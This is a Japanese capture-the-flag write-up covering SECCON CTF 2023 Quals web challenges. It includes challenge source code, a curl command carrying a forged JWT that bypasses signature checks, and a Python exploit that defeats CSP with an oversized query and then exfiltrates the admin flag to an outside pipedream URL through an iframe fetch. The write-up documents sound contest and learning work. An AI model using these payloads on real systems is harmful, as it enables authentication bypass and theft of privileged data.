SECCON CTF 2023 Quals Writeup/Upsolves

Table of Contents

はじめに

2023/09/16-17にかけて開催されたSECCON CTF 2023 QualsにチームBunkyoWesternsのメンバーとして参加しました。Internationalでは24/653位、Domesticでは2位でした。

こちらでは私が解いた問題のWriteupと一部のUpsolvesを共有します。ほとんどTBDなのはすみません 🙇

Web

Bad JWT(107 solved/98pts)

I think this JWT implementation is not bad.

http://bad-jwt.seccon.games:3000

index.js
const FLAG = process.env.FLAG ?? 'SECCON{dummy}';
const PORT = '3000';;

const express = require('express');
const cookieParser = require('cookie-parser');
const jwt = require('./jwt');

const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());

const secret = require('crypto').randomBytes(32).toString('hex');

app.use((req, res, next) => {
	try {
		const token = req.cookies.session;
		const payload = jwt.verify(token, secret);
		req.session = payload;
	} catch (e) {
		return res.status(400).send('Authentication failed');
	}
	return next();
})

app.get('/', (req, res) => {
	if (req.session.isAdmin === true) {
		return res.send(FLAG);
	} else {
		return res.status().send('You are not admin!');
	}
});

app.listen(PORT, () => {
	const admin_session = jwt.sign('HS512', { isAdmin: true }, secret);
	console.log(`[INFO] Use ${admin_session} as session cookie`);
  console.log(`Challenge server listening on port ${PORT}`);
});
jwt.js
const crypto = require('crypto');

const base64UrlEncode = (str) => {
	return Buffer.from(str)
		.toString('base64')
		.replace(/=*$/g, '')
		.replace(/\+/g, '-')
		.replace(/\//g, '_');
}

const base64UrlDecode = (str) => {
	return Buffer.from(str, 'base64').toString();
}

const algorithms = {
	hs256: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
	hs512: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}

const stringifyPart = (obj) => {
	return base64UrlEncode(JSON.stringify(obj));
}

const parsePart = (str) => {
	return JSON.parse(base64UrlDecode(str));
}

const createSignature = (header, payload, secret) => {
	const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
	const signature = algorithms[header.alg.toLowerCase()](data, secret);
	return signature;
}

const parseToken = (token) => {
	const parts = token.split('.');
	if (parts.length !== 3) throw Error('Invalid JWT format');
	
	const [ header, payload, signature ] = parts;
	const parsedHeader = parsePart(header);
	const parsedPayload = parsePart(payload);
	
	return { header: parsedHeader, payload: parsedPayload, signature }
}

const sign = (alg, payload, secret) => {
	const header = {
		typ: 'JWT',
		alg: alg
	}
	
	const signature = createSignature(header, payload, secret);
	
	const token = `${stringifyPart(header)}.${stringifyPart(payload)}.${signature}`;
	return token;
}

const verify = (token, secret) => {
	const { header, payload, signature: expected_signature } = parseToken(token);

	const calculated_signature = createSignature(header, payload, secret);
	
	const calculated_buf = Buffer.from(calculated_signature, 'base64');
	const expected_buf = Buffer.from(expected_signature, 'base64');

	if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
		throw Error('Invalid signature');
	}

	return payload;
}

module.exports = { sign, verify }

問題概要は以下の通り。

  • FLAGは、GET / してreq.session.isAdmin === true が満たされると得られる
  • 全てのリクエストにおいて、Cookieのsessionに含まれるJWTのverifyが行われる

isAdmin === true を満たすためには、単純にJWTのpayloadを {”isAdmin”:true} にすれば良い。しかし、単にpayloadを編集するのみではsignatureが正しくないのでJWTのverifyに弾かれ、/ のエンドポイント実装に辿り着かない。したがって、verifyのロジックをバイパスすることを次の目的とする。

verifyのロジックは以下の通り。

// jwt.js
const verify = (token, secret) => {
	const { header, payload, signature: expected_signature } = parseToken(token);

	const calculated_signature = createSignature(header, payload, secret);
	
	const calculated_buf = Buffer.from(calculated_signature, 'base64');
	const expected_buf = Buffer.from(expected_signature, 'base64');

	if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
		throw Error('Invalid signature');
	}

	return payload;
}

verifyをパスするためにBuffer.compare(calculated_buf, expected_buf) === 0 を満たせば良いことが分かるので、 createSignature の実装を見る。

// jwt.js
const createSignature = (header, payload, secret) => {
	const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
	const signature = algorithms[header.alg.toLowerCase()](data, secret);
	return signature;
}

const algorithms = {
	hs256: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
	hs512: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}

const stringifyPart = (obj) => {
	return base64UrlEncode(JSON.stringify(obj));
}

// index.js
const secret = require('crypto').randomBytes(32).toString('hex');

signaturealgorithms[header.alg.toLowerCase()](data, secret) で定義されている。ここで、僕たちが操作できるのは header.alg までで、 secret はランダム文字列なので特定することが難しいと分かる。したがって、どうにかして algorithms[任意の文字列.toLowerCase()](data, secret) の値を固定値にしたいという気持ちになる。

手元でガチャガチャやると、 algorithms["constructor".toLowerCase()](data, secret) が評価される場合、常に signaturedata が格納されることに気づける。 data の定義は ${stringifyPart(header)}.${stringifyPart(payload)} なので、これをJWTのsignatureに設定すれば良い。

ここで、JWTのsignatureに . が含まれるとJWT formatが壊れるように思える。しかし、手元で試すと比較時に . が抜け落ちることが分かるので、 signatureは ${stringifyPart(header)}${stringifyPart(payload)} にすれば良い。

したがって、エクスプロイトは以下の通り。

curl http://bad-jwt.seccon.games:3000/ \
    -H "Cookie: session=eyJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ%3D%3D"

blink(14 solved/240pts)

Popover API is supported from Chrome 114. The awesome API is so useful that you can easily implement <blink>.

web/public/main.js
const wrap = (obj) =>
  new Proxy(obj, {
    get: (target, prop) => {
      const res = target[prop];
      return typeof res === "function" ? res.bind(target) : res;
    },
    set: (target, prop, value) => (target[prop] = value),
  });

const $ = wrap(document).querySelector;

const sandboxAttribute = [
  "allow-downloads",
  "allow-forms",
  "allow-modals",
  "allow-orientation-lock",
  "allow-pointer-lock",
  "allow-popups",
  "allow-popups-to-escape-sandbox",
  "allow-presentation",
  "allow-same-origin",
  // "allow-scripts", // disallow
  "allow-top-navigation",
  "allow-top-navigation-by-user-activation",
  "allow-top-navigation-to-custom-protocols",
].join(" ");

const createBlink = async (html) => {
  const sandbox = wrap(
    $("#viewer").appendChild(document.createElement("iframe"))
  );
  
  // I believe it is impossible to escape this iframe sandbox...
  sandbox.sandbox = sandboxAttribute;

  sandbox.width = "100%";
  sandbox.srcdoc = html;
  await new Promise((resolve) => (sandbox.onload = resolve));

  const target = wrap(sandbox.contentDocument.body);
  target.popover = "manual";
  const id = setInterval(target.togglePopover, 400);

  return () => {
    clearInterval(id);
    sandbox.remove();
  };
};

$("#render").addEventListener("click", async () => {
  const html = $("#html").value;
  if (!html) return;
  location.hash = html;

  const deleteBlink = await createBlink(html);
  const button = wrap(
    $("#viewer").appendChild(document.createElement("button"))
  );
  button.textContent = "Delete";
  button.addEventListener("click", () => {
    deleteBlink();
    button.remove();
  });
});

const initialHtml = decodeURIComponent(location.hash.slice(1));
if (initialHtml) {
  $("#html").value = initialHtml;
  $("#render").click();
}
web/public/index.html
<!DOCTYPE html>
<html data-theme="light">
<head>
  <meta charset="UTF-8">
  <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@picocss/pico@1/css/pico.min.css">
  <title>demo</title>
</head>
<body>
  <main class="container">
    <hgroup>
      <h2>bl👁nk</h2>
      <h3>A demo page for the excellent &lt;blink&gt; implementation. You can render HTMLs freely!</h3>
    </hgroup>
    <textarea id="html"></textarea>
    <button id="render">Render</button>
    <div id="viewer"></div>
    <footer style="text-align: center;">
      <hr>
      <small>Powered by <a href="https://developer.mozilla.org/en-US/docs/Web/API/Popover_API">Popover API</a></small>
    </footer>
  </main>
  <script src="main.js"></script>
</body>
</html>
web/index.js
const app = require("fastify")();
const PORT = 3000;

app.register(require("@fastify/static"), {
  root: require("node:path").join(__dirname, "public"),
});

app.listen({ port: PORT, host: "0.0.0.0" }).catch((err) => {
  app.log.error(err);
  process.exit(1);
});

TBD。他の方のWriteupが出るのを待ちます。

eeeeejs(12 solved/257pts)

Can you bypass all mitigations?

TBD。理解に時間がかかりそうなので後回しにします。

hidden-note(1 solved/500pts)

Shared pages hide your secret notes.

TBD。他の方のWriteupが出るのを待ちます。

SimpleCalc(23 solved/193pts)

This is a simplest calculator app.

Note: Don’t forget that the target host is localhost from the admin bot.

http://simplecalc.seccon.games:3000

src/index.js
// src/index.js
const FLAG = process.env.FLAG ?? console.log('No flag') ?? process.exit(1);
const ADMIN_TOKEN = process.env.ADMIN_TOKEN ?? console.log('No admin token') ?? process.exit(1);

const PORT = '3000';

const express = require('express');
const rateLimit = require('express-rate-limit');
const cookieParser = require('cookie-parser');

const { visit } = require('./bot.js');

const reportLimiter = rateLimit({
  // Limit each IP to 1 request per 10 seconds
  windowMs: 10 * 1000, 
  max: 1, 
});

const app = express();

app.use((req, res, next) => {
  const js_url = new URL(`http://${req.hostname}:${PORT}/js/index.js`);
  res.header('Content-Security-Policy', `default-src ${js_url} 'unsafe-eval';`);
  next();
});

app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());

app.get('/flag', (req, res) => {
  if (req.cookies.token !== ADMIN_TOKEN || !req.get('X-FLAG')) {
    return res.send('No flag for you!');
  }
  return res.send(FLAG);
});

app.post('/report', reportLimiter, async (req, res) => {
  const { expr } = req.body;

  const url = new URL(`http://localhost:${PORT}/`)
  url.searchParams.append('expr', expr);

  try {
    await visit(url);
    return res.sendStatus(200);
  } catch (err) {
    console.error(err);
    return res.status(500).send('Something wrong');
  }
});

app.use('/', express.static('static'));

app.listen(PORT, () => {
  console.log(`Web server listening on port ${PORT}`);
});
src/bot.js
// src/bot.js
const puppeteer = require('puppeteer');

const ADMIN_TOKEN = process.env.ADMIN_TOKEN ?? console.log('No admin token') ?? process.exit(1);

const APP_HOST = 'localhost';
const APP_PORT = '3000';

const sleep = async (msec) => new Promise((resolve) => setTimeout(resolve, msec));

const visit = async (url) => {
  console.log(`start: ${url}`);

  const browser = await puppeteer.launch({
    headless: "new",
    executablePath: '/usr/bin/google-chrome-stable',
    args: ['--no-sandbox'],
  });

  const context = await browser.createIncognitoBrowserContext();
  try {
    const page = await context.newPage();
    await page.setCookie({
      name: 'token',
      value: ADMIN_TOKEN,
      domain: `${APP_HOST}:${APP_PORT}`,
      httpOnly: true
    });
    await page.goto(url, { timeout: 3 * 1000 });
    await sleep(3 * 1000);
    await page.close();
  } catch (e) {
    console.error(e);
  }

  await context.close();
  await browser.close();

  console.log(`end: ${url}`);
};

module.exports = { visit }
src/static/index.html
<!-- src/static/index.html -->
<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>Simple Calc</title>
</head>
<body>
	<h1>Simple Calc</h1>
	<form method="GET" action="/">
		<input type="text" name="expr" placeholder="7 * 7"></input>
		<input type="submit" value="Calc">
		<input type="submit" value="Report" formmethod="POST" formaction="/report">
	</form>
	<div>
		Result: <span id="result"></span>
	</div>
	<script src="/js/index.js"></script>
</body>
</html>
src/static/js/index.js
// src/static/js/index.js
const params = new URLSearchParams(location.search);
const result = eval(params.get('expr'));
document.getElementById('result').innerText = result.toString();

問題概要は以下の通り。

  • FLAGは、GET /flag して、req.cookies.token !== ADMIN_TOKEN || !req.get('X-FLAG')が満たされた時に得られる
  • ADMIN_TOKENPOST /report で実行されるbotのhttpOnlyなCookieにある
  • 全てのハンドラにおいて、CSPヘッダが以下のコードで付与される
const js_url = new URL(`http://${req.hostname}:${PORT}/js/index.js`);
res.header('Content-Security-Policy', `default-src ${js_url} 'unsafe-eval';`);
  • expr というquery parameterの値を以下の通りevalしている
const params = new URLSearchParams(location.search); 
const result = eval(params.get('expr')); // query parameterのexprをeval
document.getElementById('result').innerText = result.toString(); // 結果をid=resultのDOMのinnerTextに格納

Flagを得るためには、botのCookieに含まれる ADMIN_TOKEN を得る必要がある。ここでの大きな問題は、Cookieの httpOnly 属性である。 httpOnly 属性はJavaScriptのDocument.cookie APIからアクセスが出来ない。 ref: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#restrict_access_to_cookies

そこで、ADMIN_TOKENを抜き出すのではなく、botのリクエストに含まれる資格情報を流用して(ref)、fetch APIにてGET /flagリクエストを行いたい。しかし、CSPヘッダが設定されているためfetch APIの実行が制限される。そこで、次の目的をCSPヘッダのバイパスとする。

CSPヘッダのバイパス方法として、巨大なクエリパラメータを設定する方法が利用できる。これは手元でガチャガチャやると気づける。PoCは以下の通り。大きなクエリパラメータを設定すると、CSPヘッダが設定されないことが分かる。

PoC
import requests

target_url = "http://simplecalc.seccon.games:3000"

payload = "a" * 10
params = {
    "expr": payload,
}
resp = requests.get(target_url, params=params)
print(f"headers: {resp.headers}")
print(f"body: {resp.text}")
# headers: {'X-Powered-By': 'Express', 'Content-Security-Policy': "default-src http://simplecalc.seccon.games:3000/js/index.js 'unsafe-eval';", 'Accept-Ranges': 'bytes', 'Cache-Control': 'public, max-age=0', 'Last-Modified': 'Fri, 15 Sep 2023 15:51:58 GMT', 'ETag': 'W/"1ba-18a998ab400"', 'Content-Type': 'text/html; charset=UTF-8', 'Content-Length': '442', 'Date': 'Sun, 17 Sep 2023 10:43:38 GMT', 'Connection': 'keep-alive', 'Keep-Alive': 'timeout=5'}
# body: <!DOCTYPE html>
# <html>
# <head>
# 	<meta charset="utf-8">
# 	<title>Simple Calc</title>
# </head>
# <body>
# 	<h1>Simple Calc</h1>
# 	<form method="GET" action="/">
# 		<input type="text" name="expr" placeholder="7 * 7"></input>
# 		<input type="submit" value="Calc">
# 		<input type="submit" value="Report" formmethod="POST" formaction="/report">
# 	</form>
# 	<div>
# 		Result: <span id="result"></span>
# 	</div>
# 	<script src="/js/index.js"></script>
# </body>
# </html>

payload = "a" * 30000
resp = requests.get(target_url, params=params)
print(f"headers: {resp.headers}")
# print(f"body: {resp.text}")
# headers: {'Connection': 'close'} // CSP header is lacked.

これにより、CSPの制限なくJavaScriptを実行できるようになる。ただし、実際にchromeで実行するとHTTP ERROR 431用のページが表示され、それ以降の処理が続かないように見える。

そこで、iframe要素のsrc属性とonload属性を利用する。これは知らなかったのだが(よく考えたら当たり前かもしれないが)、src属性の読み込みが終わった後にonload属性に指定されたスクリプトが実行される。これは、以下の通りChromeのconsoleで確認できる。

src属性で参照するファイル

<!-- /tmp/script.html -->
<script>console.log('script.html is loaded.');</script>

Chromeで表示させるHTMLファイル

<!-- /tmp/index.html -->
<!DOCTYPE html>
index.html

Chromeのコンソール screenshot

したがって、以下の順序でCSPを無効化しつつ、fetch APIでFlagをリークさせることができる。

  1. 作成されたiframe要素がdocument.bodyにappendされる
  2. iframeのsrc属性として、非常に大きなquery stringが付与された/js/index.jsがCSPヘッダなしでロードされる
  3. iframeのonload属性で、iframe要素のcontentWindowプロパティを介してfetch APIが実行される

エクスプロイトコードは以下の通り。

from urllib.parse import urlencode
import requests

target_url = "http://simplecalc.seccon.games:3000"
attacker_url = "https://eoljd6ta1qq0d9f.m.pipedream.net"

payload = f"""
var i=document.createElement('iframe');
i.src = `/js/index.js?expr=${{'a'.repeat(20000)}}`;
i.onload = () => {{
i.contentWindow.fetch('/flag', {{headers: {{'X-FLAG': true}}, credentials: 'include'}}).then(res=>res.text()).then(res=>location.href='{attacker_url}?q='+res);
}};
document.body.appendChild(i);
"""
payload = urlencode({"expr": payload})
resp = requests.post(
    f"{target_url}/report",
    headers={"Content-Type": "application/x-www-form-urlencoded"},
    data=payload,
)

おわりに

チームメンバーが強すぎました。結果的にメンバー全員が1solve以上して置物にならなかったのは良かったと思います。僕はWebの簡単な問題を1問通しただけなので悔しかったです。

Web問に関しては、発想の転換みたいなものに至るまで、手元で試行錯誤することが重要なのだなとしみじみ思いました。考えるだけでは気付けないことが沢山あったので。

それと、何事もなければ決勝に行くと思います。めでたいですね。僕は同日にSECCON Beginnersのブースで講義があって参加できないので、当日は他メンバーを応援していようと思います。

最後になりますが、運営と作問陣の皆さん、作問と運営お疲れさまでした。決勝も陰ながら応援しています。

Posted on Sep 17, 2023